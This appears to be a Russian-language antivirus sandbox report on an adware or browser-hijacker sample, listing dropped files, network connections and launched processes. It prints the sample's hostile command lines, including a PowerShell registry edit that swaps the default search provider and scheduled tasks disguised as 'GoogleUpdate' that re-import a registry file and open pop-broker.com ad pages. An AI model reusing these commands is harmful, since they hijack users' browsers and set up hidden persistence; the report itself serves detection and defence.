Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nsa514b.tmp
- %TEMP%\<Имя файла>_patch-run.exe
- %TEMP%\nsa584d.tmp
- %TEMP%\launcher.exe
- %TEMP%\temp_cleanup.ico
- %TEMP%\tidy.bat
- %TEMP%\nsw458a.tmp\system.dll
- %TEMP%\etilqs_qvwfjaoz7gbqwbx
- %TEMP%\etilqs_na5tmgtllrnfj24
- %TEMP%\etilqs_rwacm0jlsatyj40
- %TEMP%\etilqs_fjmht2mnfsa0k1x
- %TEMP%\etilqs_bilpbtpfgq6q5uk
- %TEMP%\etilqs_ls8i6afcg6tljs2
- %TEMP%\etilqs_mwn0alsrogdxa51
- %TEMP%\etilqs_agbgcqcbhld4idb
Удаляет следующие файлы
- %TEMP%\nsw458a.tmp\system.dll
- %TEMP%\<Имя файла>_patch-run.exe
Сетевая активность
Подключается к
- 'au######te.geo.opera.com':80
- 'au######te.geo.opera.com':443
- 'google.com':80
- 'se####.yahoo.com':80
- 'du###uckgo.com':443
- 'am##on.com':80
- 'bing.com':80
- 'en.###ipedia.org':80
- 'am##on.com':443
- 'se####.yahoo.com':443
- 'en.###ipedia.org':443
TCP
Запросы HTTP GET
- http://au######te.geo.opera.com/geolocation/
- http://www.google.com/favicon.ico
- http://www.bing.com/s/a/bing_p.ico
- http://www.am##on.com/favicon.ico
- http://se####.yahoo.com/favicon.ico
- http://en.###ipedia.org/favicon.ico
Другие
- 'au######te.geo.opera.com':443
- 'du###uckgo.com':443
- 'am##on.com':443
- 'se####.yahoo.com':443
- 'en.###ipedia.org':443
UDP
- DNS ASK google.com
- DNS ASK au######te.geo.opera.com
- DNS ASK se####.yahoo.com
- DNS ASK du###uckgo.com
- DNS ASK am##on.com
- DNS ASK bing.com
- DNS ASK bi##.#ikimedia.org
- DNS ASK en.###ipedia.org
Другое
Ищет следующие окна
- ClassName: 'Opera_MessageWindow' WindowName: '%APPDATA%\Opera Software\Opera Stable'
Создает и запускает на исполнение
- '%TEMP%\<Имя файла>_patch-run.exe' <Текущая директория>
- '%TEMP%\launcher.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(Get-Content -Path '%TEMP%\temp_cleanup.ico').Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{DSP}', '"DefaultSearchProvider"').Replace('{subid}', '"GPR"').Replace('{buc...
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tidy.bat" "%TEMP%\<Имя файла>_patch-run.exe" "DefaultSearchProvider" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "GPR" "CJ_2024-06" "rhcnl-1,24" "Windows Registry Editor" "{AE08A2FE-B657-483C-A... (со скрытым окном)
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -Command "[cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern; (Get-Date).AddDays(29).ToString([cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern)"
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "[cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern; (Get-Date).AddDays(29).ToString([cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern)"
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "GoogleUpdateWeekly" /sc daily /sd 0 /st 00:00 /ri 60 /du 24:00 /rl highest /f /tr "regedit.exe /s \"%TEMP%\temp_cleanup.ico\" "
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.17.957595812\143253512" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$s = ''.Split('.'); $res = $s | ForEach-Object { if ($_.Length -lt 2) { '0' + $_ } else { $_ } }; $res -join '.'"
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "$s = ''.Split('.'); $res = $s | ForEach-Object { if ($_.Length -lt 2) { '0' + $_ } else { $_ } }; $res -join '.'"
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.16.1851685165\1928389622" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.13.1131415806\681900536" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$input = ''; $cleaned = $input -replace '[a-zA-Z0-9]', ''; if ($cleaned.Length -gt 0) { $cleaned[0] } else { '.' }"
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "$input = ''; $cleaned = $input -replace '[a-zA-Z0-9]', ''; if ($cleaned.Length -gt 0) { $cleaned[0] } else { '.' }"
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.12.1515085385\1336022090" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.11.2030442163\1330041320" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.10.2011725954\454777197" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.18.431582212\1603339730" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' --type=utility --channel="2780.4.2099017880\609325195" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001 /crash-reporter-parent-id=1512
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.8.1983752930\369671819" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.7.566662450\658105987" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.6.945016189\1316785156" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.5.1260059924\1153624256" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.4.2099017880\609325195" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --extension-process --enable-we...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --disable-client-side-phishing-...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=gpu-process --channel="2780.0.1727016550\1614069044" --enable-proprietary-media-types-playback --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,19,42 --gpu-vendor-id=0x0000 --gp...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://www.pop-broker.com/?FORM=nwlcjstart&subid=GPR&bucket=rhcnl-1,24&q=&cid={AE08A2FE-B657-483C-A667-C4E7CEECEB97} /crash-reporter-parent-id=2780
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- https://www.pop-broker.com/?FORM=nwlcjstart&subid=GPR&bucket=rhcnl-1,24&q=&cid={AE08A2FE-B657-483C-A667-C4E7CEECEB97}
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "[cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern; (Get-Date).AddDays(10).ToString([cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern)"
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "[cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern; (Get-Date).AddDays(10).ToString([cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern)"
- '%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "https://www.pop-broker.com/?FORM=nwlcjstart&subid=GPR&bucket=rhcnl-1,24&q=&cid={AE08A2FE-B657-483C-A667-C4E7CEECEB97}"
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="2780.9.1384538951\1957441240" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "GoogleUpdateDaily" /sc daily /mo 1 /sd 0 /st 00:00 /ri 360 /du 24:00 /rl highest /f /tr "cmd /c start "https://www.pop-broker.com/?FORM=nwlcjpop^&subid=GPR^&bucket=CJ_2024-06^&q=rh...
